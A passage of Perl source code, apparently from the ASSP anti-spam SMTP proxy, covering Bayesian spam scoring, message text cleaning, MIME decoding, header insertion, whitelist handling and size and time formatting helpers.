	pbAdd($fh,$this->{ip},$baysconfidenceValencePB,"BayesianConfidence") if $baysConf && $this->{spamconf}>=$baysConf && $this->{spamprob}  >= $baysProbability && $fh;

    return  1 if $mDoBayesian == 3;
    return 0 if $this->{spamprob} >= $baysProbability && $mDoBayesian == 1;
    return  1;
}



sub readNorm {
    open (my $F, '<', "$base/normfile") or return 1;
    binmode $F;
    my @t = split(/ /,join('',<$F>));
    close $F;
    $t[0] ||= 1;
    $bayesnorm = $t[0];
}
sub BayesConfNorm {
    my $c = abs(1 - $bayesnorm);
    my $exp = int($c * 10.0001);
    $exp = 4 if $exp > 4;
    return 1 / (($c + 1) ** $exp);
}

sub BayesHMMProb {
    my $t = shift;
    my $p1 = 1;
    my $p2 = 1;
    my $p1c = 1;
    my $p2c = 1;
    my $cc = 0;
    my $c1;
    my $norm = BayesConfNorm();
    foreach my $p (@$t) {
        if ($p) {
            $p1 *= $p;
            $p2 *= ( 1 - $p );
            $c1++;
            if ($p < 0.01) {           # eliminate and count positive extreme ham values for confidence
                $cc++;
                next;
            }
            if ((1 - $p) < 0.01) {     # eliminate and count negative extreme spam values for confidence
                $cc--;
                next;
            }
            $p1c*=$p;                  # use the not extreme values for confidence calculation
            $p2c*=(1-$p);
        }
    }
    my $ps = $p1 + $p2;
    my $SpamProb = $ps ? ($p1 / $ps) : 1;       # default Bayesian math

    #  ignore    ham extremes if spam      and   spam extremes if ham for confidence calculation
    $cc = 0 if ($cc < 0 && $SpamProb > 0.5) or ($cc > 0 && $SpamProb <= 0.5);
    # use the spam/ham extremes left, to set a factor to reduce confidence
    $cc = 0.01 ** abs($cc);
    
    # found only extreme or no value -> set confidence to 1
    $p1c = 0 if ($p1c == 1 && $p2c == 1);

    # weight the confidence down, if not enough values are available ($c1/$maxBayesValues)**2
    my $SpamProbConfidence = abs( $p1c - $p2c ) * $cc * $norm * ($c1/$maxBayesValues) ** 2;
    $SpamProbConfidence = 1 if $SpamProbConfidence > 1;   # this should never happen -> but be save

    # return spampropval, hampropval, valcount, combined SpamProb, Confidence of combined SpamProb
    return ($p1,$p2,$c1,$SpamProb,$SpamProbConfidence);

#   $SpamProbConfidence = ((1+$p1-$p2)/2)*($c1/$maxBayesValues)**2;
}

# Unicode : detect symbolic languages and breake them in to symbols
sub getUniWords {
    my $word = shift;
    return $word;
    return $word if($] lt '5.010000');
    Encode::_utf8_on($word);
    if (eval{$word =~ /^(?:$NonSymLangRE)+$/o;}) {    # return the word - this is not a symbol language
        Encode::_utf8_off($word);
        return $word;
    }
    my @chars;
    eval{@chars = split(//o,$word);};
    if (eval{$word !~ /$NonSymLangRE/o;}) {  # return symbols - all characters are from a symbol language
        Encode::_utf8_off($_) for @chars;
        return @chars;
    }
    $word = '';
    my @ret;
    my $wordlen = 0;
    for (@chars) {            # separate mixed contents in to separate words - try best fit
        next unless $_;
        my $issym;
        eval{$issym = $_ !~ /$NonSymLangRE/o;};
        Encode::_utf8_off($_);
        if (! $issym) {
            $word .= $_;
            $wordlen++;
        } else {
            if ($wordlen > 1) {
                push @ret, $word;
                $word = '';
                $wordlen = 0;
            }
            push @ret, $word . $_;
            $word = '';
            $wordlen = 0;
        }
    }
    if ($wordlen > 1) {
        push @ret, $word;
        $word = '';
    }
    if (scalar @ret && $word) {
        $ret[$#ret] .= $word;
    } elsif ($word) {
        push @ret, $word;
    }
    return @ret;
}

sub BayesWords {
    my $text = shift;
    my @t;
    my (%seen, $PrevWord, $CurWord, %got, $how, $v);
    $how = 1 if [caller(1)]->[3] =~ /AnalyzeText/o;
    $how = 2 if [caller(1)]->[3] =~ /ConfigAnalyze/o;
    while ($$text =~ /([$BayesCont]{2,})/go) {
        my ($Word,@Words);
        ($Word = BayesWordClean($1)) or next;
        @Words = getUniWords($Word);
        while ($CurWord = shift @Words) {
        	next if length($CurWord) > 37;
            if (! $PrevWord) {
                $PrevWord = $CurWord;
                next ;
            }
            my $j="$PrevWord $CurWord";
            $PrevWord = $CurWord;
            next if ++$seen{$j} > 2; # first two occurances are significant
            push( @t, $v ) if ($v = $Starterdb{$j}) or ($v = $Spamdb{$j}) ;
        }
    }
    return \@t,\%got;
}



sub BayesWordClean {
    my $word = lc(shift);
    no warnings qw(utf8);
    Encode::_utf8_on($word);
    $word = substr($word,0,length($word));
    return unless $word;
    eval{
    $word =~ s/#(?:[a-f0-9]{2})+/randcolor/go;
    $word =~ s/^#\d+/randdecnum/go;
    $word =~ s/[_\[\]\~\@\%\$\&\{\}<>#(),.'";:=!?*+\/\\\-]+$//o;
    $word =~ s/^[_\[\]\~\@\%\$\&\{\}<>#(),.'";:=!?*+\/\\\-]+//o;
    $word =~ s/!!!+/!!/go;
    $word =~ s/\*\*+/**/go;
    $word =~ s/--+/-/go;
    $word =~ s/__+/_/go;
    $word =~ s/[\d,.]{2,}/randnumber/go;
    $word =~ s/^[\d:\.\-+();:<>,!"'\/%]+(?:[ap]m)?$/randwildnum/o;    # ignore numbers , dates, times, versions ...
    };
    my $l;
    eval{$l = length($word);};
    return if ($l > 25 or $l < 2);
    Encode::_utf8_off($word);
    return $word;
}

sub Umlaute {
	my $string = shift;
	my %umlaute = ("ä" => "ae", "Ä" => "Ae", "ü" => "ue", "Ü" => "Ue", "ö" => "oe", "Ö" => "Oe", "ß" => "ss" );
	my $umlautkeys = join ("|", keys(%umlaute));
	$string =~ s/($umlautkeys)/$umlaute{$1}/g;
	return $string;
} ##

# attach a header line to the message if the config option is set
sub addSpamProb {
	my $fh = shift;
    my $this           = $Con{$fh};
    my $spamprobheader = "";
    my $mscore;
    return if $this->{spamprobheaderdone};
    $this->{spamprobheaderdone} = 1;
    return if $NoExternalSpamProb && $this->{relayok};
    if ($this->{whitelisted}) {
        $spamprobheader .= "X-Assp-Whitelisted: Yes ($this->{whitelisted})\r\n";
        $this->{myheader}=~s/X-Assp-Whitelisted:$HeaderValueRe//gios; # clear out existing X-Assp-Whitelisted headers  
        # clear out existing X-Assp-Whitelisted headers
  
    }
    
    # clear out existing X-Assp-Spam-Prob headers
    $this->{myheader}=~s/X-Assp-Bayes-Prob:$HeaderValueRe//gios; # clear out existing X-Assp-Spam-Prob headers
    $this->{myheader}=~s/X-Assp-Bayes-Confidence:$HeaderValueRe//gios; # clear out existing X-Assp-Bayes-Confidence headers
	$spamprobheader = sprintf( "X-Assp-Bayes-Probability: %.4f\r\n", $this->{spamprob} )
      if $this->{spamprob} > 0.00001 && $AddSpamProbHeader && $this->{myheader} !~ /Probability/;

    $spamprobheader .= sprintf( "X-Assp-Bayes-Confidence: %.4f (confident)\r\n", $this->{spamconf} )
      if $AddSpamProbHeader && $baysConf
			&& $this->{spamconf}>=$baysConf && $this->{myheader} !~ /Confidence/o &&  $this->{myheader} =~ /Probability/;
;
    $this->{myheader}.="X-Assp-Redlisted: Yes ($this->{red})\015\012"
        if $this->{red} && $this->{myheader} !~ /X-Assp-Redlisted/o;
    $this->{myheader} =~ s/^X-Assp-Spam-Level:$HeaderValueRe//gios;        
    # clear out existing X-Assp-Spam-Level headers

    $this->{saveprepend} = $this->{prepend};

    my $counter = 0;
    my $stars   = "";
    $mscore = $this->{messagescore};
	if ($this->{spamfound}  && $this->{messagescore} > 0 && $this->{myheader} !~ /totalscore/) {
        $this->{myheader} =~ s/X-Assp-Message-Totalscore:[^\r\n]+?\r\n//iogs;
        $this->{myheader} .= "X-Assp-Message-Totalscore: $this->{messagescore}\r\n" if  $this->{myheader} !~ /Totalscore/i;
    }

    if ((($this->{relayok} && ! $NoExternalSpamProb) || ! $this->{relayok}) && $this->{messagescore} && $AddLevelHeader) {
        my $counter=0;
        my $stars='';
        my $mscore=$this->{messagescore};
        $mscore = 100 if $mscore > 100;
        while ($counter<int($mscore/5)) {
            $counter++;
            $stars.= "*";
        }
        $this->{myheader}=~s/^X-Assp-Spam-Level:$HeaderValueRe//gios; # clear out existing X-Assp-Spam-Level headers
        $this->{myheader}.="X-Assp-Spam-Level: $stars\r\n" if $counter && $this->{spamfound};
    }


    if ( defined( $this->{mailfrom} ) ) {
    	$this->{envelopefrom} = "X-Assp-Envelope-From: $this->{mailfrom}\r\n";
        $spamprobheader .= "X-Assp-Envelope-From: $this->{mailfrom}\r\n"
        	if $spamprobheader !~ /X-Assp-Envelope-From/;

        $this->{myheader} =~ s/^X-Assp-Envelope-From:$HeaderValueRe//gios;
		 # clear out existing X-Assp-Envelope-From headers
    }
    my ($to) = $this->{rcpt} =~ /(\S+)/;
    $this->{intendedfor} = "X-Assp-Intended-For: $to\r\n";

        
    $spamprobheader .= "X-Assp-Intended-For: $to\r\n"
        	if $spamprobheader !~ /X-Assp-Intended-For/;

	$this->{myheader} =~ s/^X-Assp-Intended-For:$HeaderValueRe//gios;

    # add to our header; merge later, when client sent own headers
    $this->{myheader} .= $spamprobheader;
	

}

# compile the nonprocessing domains regular expression
sub setNPDRE {
    my $new = shift;
    $new ||= '^(?!)';    # regexp that never matches
    $new =~ s/\*/\.\*/g;
    SetRE( 'NPDRE', "($new)\$", 'i', 'NoProcessing Domains' );
    SetRE( 'NPDRE2', "($new)", 'i', 'NoProcessing Domains' );
}

# compile the whitelisted domains regular expression
sub setWLDRE {
    my $new = shift;
    $new ||= '^(?!)';    # regexp that never matches
    $new =~ s/\*/\.\*/g;
    SetRE( 'WLDRE', "($new)\$", 'i', 'Whitelisted Domains' );
}
# compile the FileScan Responds regular expression
sub setFSRESPRE {
    my $new=shift;
    $new||='^(?!)'; # regexp that never matches
    $new=~s/\*/\.\*/g;
    SetRE('FSRESPRE',"$new",'i','FileScan Responds');
}
# compile the blacklisted domains regular expression
sub setBLDRE {
    my $new=shift;
    $new||='^(?!)'; # regexp that never matches
    $new=~s/\*/\.\*/go;
    SetRE('BLDRE',"(?:$new)\$",

          'i',
          'Blacklisted Domains',$_[0]);

}


# compile the regular expression for the list of two&three-level TLDs
sub setURIBLCCTLDSRE {
    my $s = join( '|', @_ );
    $s ||= '^(?!)';      # regexp that never matches
    SetRE( 'URIBLCCTLDSRE', "([^\\.]+\\.($s))\$", 'i', 'Country Code TLDs' );
    
}
# compile the regular expression for the list of top-level TLDs
sub setTLDSRE {

$TLDSRE = shift;


}
# compile the URIBL whitelist regular expression
sub setURIBLWLDRE {
    my $new = shift;
    $new ||= '^(?!)';    # regexp that never matches
    $new =~ s/\*/\.\*/g;
    SetRE( 'URIBLWLDRE', "^($new)\$", 'i', 'Whitelisted URIBL Domains' );
}

# compile the Max IP/Domain whitelist regular expression
sub setIPDWLDRE {
    my $new = shift;
    $new ||= '^(?!)';    # regexp that never matches
    $new =~ s/\*/\.\*/g;
    SetRE( 'IPDWLDRE', "^($new)", 'i', 'Whitelisted IP/Domain Domains' );
}

# see if the address in the mailfrom is on the whitelist meanwhile update the whitelist if that seems appropriate

sub onwhitelist {
    my($fh,$ba)=@_;
    d('onwhitelist');
    my $this=$Con{$fh};
    my $adr=lc $this->{mailfrom};
    $adr = batv_remove_tag(0,$adr,'');
    my $fm = $adr;

    my $whitelisted=$this->{relayok};
    if ($whitelisted) {$Stats{locals}++;}
    return $whitelisted unless $adr; # don't add to the whitelist unless there's a valid envelope -- prevent bounced mail from adding to the whitelist
    if (! $this->{red} && $redRe && $$ba=~/($redReRE)/) {
        $this->{red}=($1||$2);
        mlogRe($fh,$this->{red},"Red");
    }
    $this->{red} = batv_remove_tag(0,$this->{red},'');
    mlogRe($fh,$adr,"Redlist") if !$this->{red} && $Redlist{$adr};
    $this->{red}="$adr in Redlist" if $Redlist{$adr};

    my %senderlist = ();
    unless($whitelisted) {
        $senderlist{$adr}=1;
        if(! $NotGreedyWhitelist or $NotGreedyWhitelist == 2) {
            if (@{$this->{senders}}) {
                $senderlist{$_}=1 for @{$this->{senders}};
            } else {
                while ($$ba =~ /($HeaderNameRe):($HeaderValueRe)/igos) {
                    my $s = $2;
                    next if $1 !~ /^(?:from|sender|reply-to|errors-to|list-\w+)$/io;
                    &headerUnwrap($s);
                    if ($s =~ /($EmailAdrRe\@$EmailDomainRe)/io) {
                        $s = batv_remove_tag(0,$1,'');
                        $senderlist{lc $s}=1;
                    }
                }
            }
        }
        foreach $adr (keys %senderlist) {
            if ($adr && $Redlist{$adr}) {
                mlog($fh,"redlisted: $adr - not white");
                return 0;
            }
        }
        my $notAllWhite;
        foreach $adr (keys %senderlist) {
            next if $adr eq '' || localmail($adr);
            if($whiteListedDomains && $adr=~/($WLDRE)/) {
                d('wld ' . $1);
                $whitelisted=1;
                mlog($fh,"Whitelisted sender Domain: $1");
            } elsif(&Whitelist($adr)) {
                d('on whitelist ' . $adr);
                $whitelisted=1;
#                mlog($fh,"Whitelisted sender address: $adr");
            } elsif ($NotGreedyWhitelist == 2) {
#                mlog($fh,"found NOT whitelisted sender address: $adr");
                $notAllWhite = 1;
            }
        }
        if ($notAllWhite) {
            mlog($fh,"not all senders addresses are whitelisted - not white (NotGreedyWhitelist)") if $whitelisted;
            $whitelisted='';
        }
        @{$this->{senders}} = keys %senderlist; # used for finding blacklisted domains
        if ($whitelisted) {
            $Stats{whites}++;
            $this->{whitelisted} = "whitelistdb '$adr'";

            $this->{passingreason} = "whitelistdb '$adr'" if !$this->{passingreason};
        }
    }

    # don't add to whitelist if sender is redlisted
    return $whitelisted if $this->{red} || $WhitelistLocalOnly && !$this->{relayok} || $WhitelistLocalFromOnly && ! localmail($this->{mailfrom});
    if($whitelisted) {
        $this->{doNotTimeout} = time;

        # keep the whitelist up-to-date
        my %ar = ($GreedyWhitelistAdditions == 2) ? %senderlist : ();  # all
        $ar{$fm}=1 if $GreedyWhitelistAdditions;      # all or envelope
        my $count = 0;
        while ($$ba=~/($HeaderNameRe):($HeaderValueRe)/igos) {
            my $ad=$2;
            next if $1 !~ /^(?:to|cc|bcc)$/io;
            while ($ad=~/($EmailAdrRe\@$EmailDomainRe)/go) {
                my $s = $1;

                $s = batv_remove_tag(0,$s,'');
                $ar{lc $s} = 1;
            }
        }
        $count = 0;
        foreach my $ad (split(/\s+/o,lc $this->{rcpt})) {

            $ad = batv_remove_tag(0,$ad,'');
            $ar{lc $ad} = 1;
        }
        $adr = '' unless $this->{relayok};
        $count = 0;
        foreach my $ad (keys %ar) {

            next if ! $ad || localmail($ad);
            next if $Redlist{$ad}; # don't add to whitelist if rcpt is redlisted
            next if $ad=~/\=/o;
            next if $ad=~/^\'/o;

            #next if $whiteListedDomains && $ad=~/$WLDRE/;

            if (! $NoAutoWhite) {
                mlog($fh,"Admininfo: whitelist addition: $ad - AutoWhite on sent mail by $fm",1) unless &Whitelist($ad);
                &Whitelist($ad,$adr,'add');
            }
        }
        $this->{whitelisted} = 1;
		$this->{whitelisted} = "whitelistdb '$adr'";
		$this->{passingreason} = "whitelistdb '$adr'" if !$this->{passingreason};
        delete $this->{doNotTimeout} if (! $smtpIdleTimeout || time - $this->{doNotTimeout} < $smtpIdleTimeout - 10);
        return 1;
    }
    return 0;
}


#Email::MIME substitution for mixed alternative multipart messages
sub parts_multipart {
  my $self     = shift;

  #use the original code, if don't need the hack
  return $org_Email_MIME_parts_multipart->($self) if $o_EMM_pm;

  my $boundary = $self->{ct}->{attributes}->{boundary};

  return $self->parts_single_part
    unless $boundary and $self->body_raw =~ /^--\Q$boundary\E\s*$/sm;

  $self->{body_raw} = $self->body_raw;

  # rfc1521 7.2.1
  my ($body, $epilogue) = split /^--\Q$boundary\E--\s*$/sm, $self->body_raw, 2;

  my @bits = split /^--[^\n\r]+\s*$/sm, ($body || '');

  $self->{body} = undef;
  $self->{body} = (\shift @bits) if ($bits[0] || '') !~ /.*:.*/;

  my $bits = @bits;

  my @parts;
  for my $bit (@bits) {
    $bit =~ s/\A[\n\r]+//smg;
    my $email = (ref $self)->new($bit);
    push @parts, $email;
  }

  $self->{parts} = \@parts;

  return @{ $self->{parts} };
}

sub cleanMIMEHeader2UTF8 {
    my ($m , $noconvert) = @_;
    my $msg = ref($m) ? $$m : $m;
    $msg =~ s/([^\x0D])\x0A/$1\x0D\x0A/go;
    my $hl = index($msg,"\x0D\x0A\x0D\x0A");
    if ($hl > 0) {
        $msg = substr($msg,0,$hl);
        $msg = decodeMimeWords2UTF8($msg) if ! $noconvert;
        $msg .= "\x0D\x0A\x0D\x0A";
        return $msg;
    } elsif ($hl == 0) {
        return "\x0D\x0A\x0D\x0A";
    }
    return;
}

sub cleanMIMEBody2UTF8 {
    my $m = shift;
    my $msg = ref($m) ? $$m : $m;
    $msg =~ s/([^\x0D])\x0A/$1\x0D\x0A/go;
    my $body;
    my %cs;

    eval {
        local $SIG{ALRM} = sub { die "__alarm__\n"; };
        alarm(15);
        $Email::MIME::ContentType::STRICT_PARAMS=0;      # no output about invalid CT
        my $email = Email::MIME->new($msg);
        foreach my $part ( $email->parts ) {
            my $cs;
            my $dis = $part->header("Content-Type") || '';
            next if $part->header("Content-ID") && $dis !~ /text/o;    # no inline images / app's
            my $attrs = $dis =~ s/^.*?;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
            my $name =    $attrs->{name}
                       || $part->{ct}{attributes}{name}
                       || $attrs->{filename}
                       || $part->{ct}{attributes}{filename}
                       || $part->filename;
            $cs = $attrs->{charset} || $part->{ct}{attributes}{charset};
            $cs{uc $cs} = "charset=$cs" if $cs;
            if (! $name && ! $addCharsets) {
                $dis = $part->header("Content-Disposition") || '';
                $attrs = $dis =~ s/^.*?;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
                $name =    $attrs->{name}
                        || $part->{ct}{attributes}{name}
                        || $attrs->{filename}
                        || $part->{ct}{attributes}{filename};
            }

            my $bd;
            if (! $addCharsets) {
                $bd = $name ? "\r\nattachment:$name\r\n" : $part->body;
            }
            if ($bd && $cs && ! $addCharsets) {
                $bd = Encode::decode($cs, $bd);
                $bd = Encode::encode('UTF-8', $bd);
            }
            $body .= $bd;
        }
        if ($addCharsets) {
            my @mime_coded;
            eval {@mime_coded = $msg =~ /=\?([a-zA-Z0-9\-]{2,20})\?[bq]\?/iog;
                  map {$cs{uc $_} = "charset=$_" if $_;} @mime_coded;
                 };
        }
        if (! $body) {
            my $dis = $email->header("Content-Type") || '';
            my $attrs = $dis =~ s/^.*?;//o ? Email::MIME::ContentType::_parse_attributes($dis) : {};
            my $cs = $attrs->{charset} || $email->{ct}{attributes}{charset};
            $cs{uc $cs} = "charset=$cs" if $cs;
            $body = $email->body unless $addCharsets;
            if ($body && $cs && ! $addCharsets) {
                $body = Encode::decode($cs, $body);
                $body = Encode::encode('UTF-8', $body);
            }
        }
        $body = join("\n", values %cs)."\n" if scalar keys %cs && $addCharsets;
        alarm 0;
        1;
    } and alarm 0 if $CanUseEMM;

    return $body;
}


sub cleanMIME {
    my $msg = shift;
    my $body;

    eval {
        $Email::MIME::ContentType::STRICT_PARAMS=0;      # no output about invalid CT
        my $email=Email::MIME->new($msg);
        foreach my $part ( $email->parts ) {
            my $dis = $part->header("Content-Type") || '';
            my $attrs = $dis =~ s/^.*?;// ? Email::MIME::ContentType::_parse_attributes($dis) : {};
            my $name = $attrs->{name} || $part->{ct}{attributes}{name};
            $name ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
            eval{$name ||= $part->filename;};
            if (! $name) {
              eval{
                $dis = $part->header("Content-Disposition") || '';
                $attrs = $dis =~ s/^.*?;// ? Email::MIME::ContentType::_parse_attributes($dis) : {};
                $name = $attrs->{name} || $part->{ct}{attributes}{name};
                $name ||= $attrs->{filename} || $part->{ct}{attributes}{filename};
              };
            }
            next if $name;   # skip attachments
            $body .= eval{&decHTMLent($part->body);};
        }
        if (! $body) {
            $body = eval{&decHTMLent($email->body);};
        }
    } if $CanUseEMM;
    return $body;
}

# clean up source email

sub clean {
    my $m = shift;

    my $msg = ref($m) ? $$m : $m;
    my $t = time + 60;     # max 60 seconds for this cleaning
    my $body;
    my $header;
    my $undec = 1;

    $body = cleanMIMEBody2UTF8(\$msg);

    if ($body) {
        $header = cleanMIMEHeader2UTF8(\$msg,0);
        $undec = 0;
    }

    local $_= "\n". (($header) ? $header : $msg);
    my ($helo,$rcpt);
    if ($header) {
        ($helo)=/helo=([^)]+)\)/io;
        $helo=~s/(\w+)/ hlo $1 /go if length($helo) > 19; # if the helo string is long, break it up
        $rcpt="rcpt ".join(" rcpt ",/($EmailAdrRe\@$EmailDomainRe)/go);
        return "helo: $helo\n$rcpt\n",0 if (time > $t);
        # mark the subject
        $rcpt .= "\n".fixsub($1) if /\nsubject: (.*)/io;
        return "helo: $helo\n$rcpt\n",0 if (time > $t);
    }

    # from now only do the body if possible
    local $_ = $body if $body;

    # replace HTML encoding
    s/&amp;?/and/gio;
    $_ = decHTMLent($_);
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

    if ($undec) {
      # replace base64 encoding
      s/\n([a-zA-Z0-9+\/=]{40,}\r?\n[a-zA-Z0-9+\/=\r\n]+)/base64decode($1)/gseo;
      return "helo: $helo\n$rcpt\n",0 if (time > $t);

      # clean up quoted-printable references
      s/(Subject: .*)=\r?\n/$1\n/o;
      return "helo: $helo\n$rcpt\n",0 if (time > $t);
      s/=\r?\n//go;
      return "helo: $helo\n$rcpt\n",0 if (time > $t);
      # strip out mime continuation
      s/.*---=_NextPart_.*\n//go;
      return "helo: $helo\n$rcpt\n",0 if (time > $t);
    }

    # clean up MIME quoted-printable line breakings
    s/=\r?\n//gos;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

    # clean up &nbsp; and &amp;
    s/&nbsp;?/ /gio; s/&amp;?/and/gio;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);
    s/(\d),(\d)/$1$2/go;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);
    s/\r//go; s/ *\n/\n/go;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);
    s/\n\n\n\n\n+/\nblines blines\n/go;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

    # clean up html stuff
    s/<\s*script[^>]+>.*?<\s*\/\s*script\s*>/ jscripttag /igos;
    s/<\s*script[^>]+>/ jscripttag /igos;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);
    # remove style sheets
    s/<\s*style[^>]*>.*?<\s*\/\s*style\s*>//igso;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

#    while (s/(\w+)(<[^>]*>)((?:<[^>]*>)*\w+)/$2$1$3/go){return "helo: $helo\n$rcpt\n",0 if (time > $t);} # move html out of words
    s/<\s*(?:[biu]|strong)\s*>/ boldifytext /gio;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

    # remove some tags that are not informative
    s/<\s*\/?\s*(?:p|br|div|t[drh]|li|[uo]l|center)[^>]*>/\n/gios;
    s/<\s*\/?\s*(?:[biuo]|strong)\s*>//gio;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);
    s/<\s*\/?\s*(?:html|meta|head|body|span|table|font|col|map)[^>]*>//igos;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);
    s/(<\s*a\s[^>]*>)(.*?)(<\s*\/a\s*>)/$1.fixlinktext($2)/igseo;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

    # treat titles like subjects
    s/<\s*title[^>]*>(.*?)<\s*\/\s*title\s*>/fixsub($1)/igeos;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

    # remove html comments
    s/<\s*!.*?-->//gso; s/<\s*![^>]*>//go;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

    # look for random words
    s/[ a-z0-9][ghjklmnpqrstvwxz_]{2}[bcdfghjklmnpqrstvwxz_0-9]{3}\S*/ randword /gio;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

    # remove mime separators
    s/\n--.*?randword.*//go;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);

    # look for linked images
    s/(<\s*a[^>]*>[^<]*<\s*img)/ linkedimage $1/giso;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);
    s/<[^>]*href\s*=\s*("[^"]*"|\S*)/fixhref($1)/isgeo;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);
    s/(?:ht|f)tps?:\/\/(\S*)/fixhref($1)/isgeo;
    return "helo: $helo\n$rcpt\n",0 if (time > $t);
    s/(\S+\@\S+\.\w{2,5})\b/fixhref($1)/geo;
    s/<?\s*img .{0,50}src\s*=\s*['"]([^'"]*)['"][^>]+>/$1/gois;
    s/["']\s*\/?s*>|target\s*=\s*['"]_blank['"]|<\s*\/|:\/\/ //go;
    s/ \d{2,} / 1234 /go;
    $_ = &decHTMLent($_);
    $_ = &decHTMLent($_);
    if ($CanUseASSP_WordStem) {
        my $ret = &ASSP_WordStem::process($_);
        if ($ret) {
            return ("helo: $helo\n$rcpt\n".$ret,1);
        } else {
            return ("helo: $helo\n$rcpt\n$_",1);
        }
    } else {
        return ("helo: $helo\n$rcpt\n$_",1);
    }
}


sub fixhref { my $t = shift; $t =~ s/(\w+)/ href $1 /g; $t; }

sub fixlinktext { my $t = shift; $t =~ s/(\w+)/atxt $1/g; $t; }

sub fixurl {
    my $u = shift;
    $u =~ s/%([0-9a-fA-F][0-9a-fA-F])/pack('C',hex($1))/ge;
    $u;
}

sub fixsub {
    my $s = shift;
    $s =~ s/ {3,}/ lotsaspaces /g;
    $s =~ s/(\S+)/ssub $1/g;
    "\n$s ssub";
}


sub base64decode {
    my $str = shift;
    my $res;
    $str =~ tr|A-Za-z0-9+/||cd;
    $str =~ tr|A-Za-z0-9+/| -_|;
    while ( $str =~ /(.{1,60})/gs ) {
        my $len = chr( 32 + length($1) * 3 / 4 );
        $res .= unpack( "u", $len . $1 );
    }
    $res;
}

sub formatMethod {
    my $res;
    if ( $_[2] == 0 ) {
        $res = int( $_[0] / $_[1] );
        $_[0] -= $res * $_[1];    # modulus on floats
    } elsif ( $_[2] == 1 ) {
        if ( $_[0] >= $_[1] ) {
            $res = sprintf( "%.1f", $_[0] / $_[1] );
            $_[0] = 0;
        }
    }
    return $res;
}

sub formatNumDataSize {
    my $size = shift;
    my $res;
    if ($size >= 1099511627776) {
        $res = sprintf("%.2f TByte", $size / 1099511627776);
    } elsif ($size >= 1073741824) {
        $res = sprintf("%.2f GBbyte", $size / 1073741824);
    } elsif ($size >= 1048576) {
        $res = sprintf("%.2f MByte", $size / 1048576);
    } elsif ($size >= 1024) {
        $res = sprintf("%.2f kByte", $size / 1024);
    } else {
        $res = $size . ' Byte';
    }
    return $res;
}

sub formatDataSize {
    my ( $size, $method ) = @_;
    my ( $res, $s );
    $res .= $s . 'TB ' if $s = formatMethod( $size, 1099511627776, $method );
    $res .= $s . 'GB ' if $s = formatMethod( $size, 1073741824,    $method );
    $res .= $s . 'MB ' if $s = formatMethod( $size, 1048576,       $method );
    $res .= $s . 'kB ' if $s = formatMethod( $size, 1024,          $method );
    if ( $size || !defined $res ) {

        if ( $method == 0 ) {
            $res .= $size . 'B ';
        } elsif ( $method == 1 ) {
            $res .= sprintf( "%.1fB ", $size );
        }
    }
    $res =~ s/\s$//;
    return $res;
}

sub unformatTimeInterval {
 my ($interval,$default)=@_;
 my @a=split(' ',$interval);
 my $res=0;
 while (@a) {
  my $j = shift @a;
  my ($i,$mult)=$j=~/^(.*?) ?([smhd]?)$/o;
  $mult||=$default||'s'; # default to seconds
  if ($mult eq 's') {
   $res+=$i;
  } elsif ($mult eq 'm') {
   $res+=$i*60;
  } elsif ($mult eq 'h') {
   $res+=$i*3600;
  } elsif ($mult eq 'd') {
   $res+=$i*86400;
  }
 }
 return $res;
}


sub unformatDataSize {
 my ($size,$default)=@_;
 my @a=split(' ',$size);
 my $res=0;
 while (@a) {
  my $j = shift @a;
  my ($s,$mult)=$j=~/^(.*?) ?(B|kB|MB|GB|TB)?$/o;
  $mult||=$default||'B'; # default to bytes
  if ($mult eq 'B') {
   $res+=$s;
  } elsif ($mult eq 'kB') {
   $res+=$s*1024;
  } elsif ($mult eq 'MB') {
   $res+=$s*1048576;
  } elsif ($mult eq 'GB') {
   $res+=$s*1073741824;
  } elsif ($mult eq 'TB') {
   $res+=$s*1099511627776;
  }
 }
 return $res;
}

sub decodeMimeWord {
    my ($fulltext,$charset,$encoding,$text)=@_;
    my $ret;

    eval {$charset = Encode::resolve_alias(uc($charset));} if $charset;

    if (!$@ && $CanUseEMM && $charset && $decodeMIME2UTF8 ) {
        eval{$ret = MIME::Words::decode_mimewords($fulltext)} if $fulltext;
        return $ret unless $@;
    }

    if (lc $encoding eq 'b') {
        $text=base64decode($text);
    } elsif (lc $encoding eq 'q') {
        $text=~s/_/\x20/g; # RFC 1522, Q rule 2
        $text=~s/=([\da-fA-F]{2})/pack('C', hex($1))/ge; # RFC 1522, Q rule 1
    };
    return $text;
}

sub decodeMimeWords {
    my $s = shift;
    headerUnwrap($s);
    $s =~ s/(=\?([^?]+)\?(b|q)\?([^?]*)\?=)/decodeMimeWord($1,$2,$3,$4)/gieo;
    return $s;
}


sub dedecodeMimeWord {
    my ($fulltext,$charset,$encoding,$text)=@_;
    return decodeMimeWord($fulltext,$charset,$encoding,$text) unless $LogCharset;
    my $ret;

    eval {$charset = Encode::resolve_alias(uc($charset));} if $charset;

    if (! $@ && $CanUseEMM && $charset && $decodeMIME2UTF8 ) {
        eval{$ret = MIME::Words::decode_mimewords($fulltext)} if $fulltext;
        if ($LogCharset && $ret) {
            eval{
                 $ret = Encode::decode($charset, $ret);
                 $ret = Encode::encode($LogCharset, $ret);
                 Encode::_utf8_on($ret) if $LogCharset =~ /^utf-?8/io;
            };
        }
        return $ret unless $@;
        $@ = undef;
    }

    if (lc $encoding eq 'b') {
        $text=base64decode($text);
    } elsif (lc $encoding eq 'q') {
        $text=~s/_/\x20/go; # RFC 1522, Q rule 2
        $text=~s/=([\da-fA-F]{2})/pack('C', hex($1))/geo; # RFC 1522, Q rule 1
    }
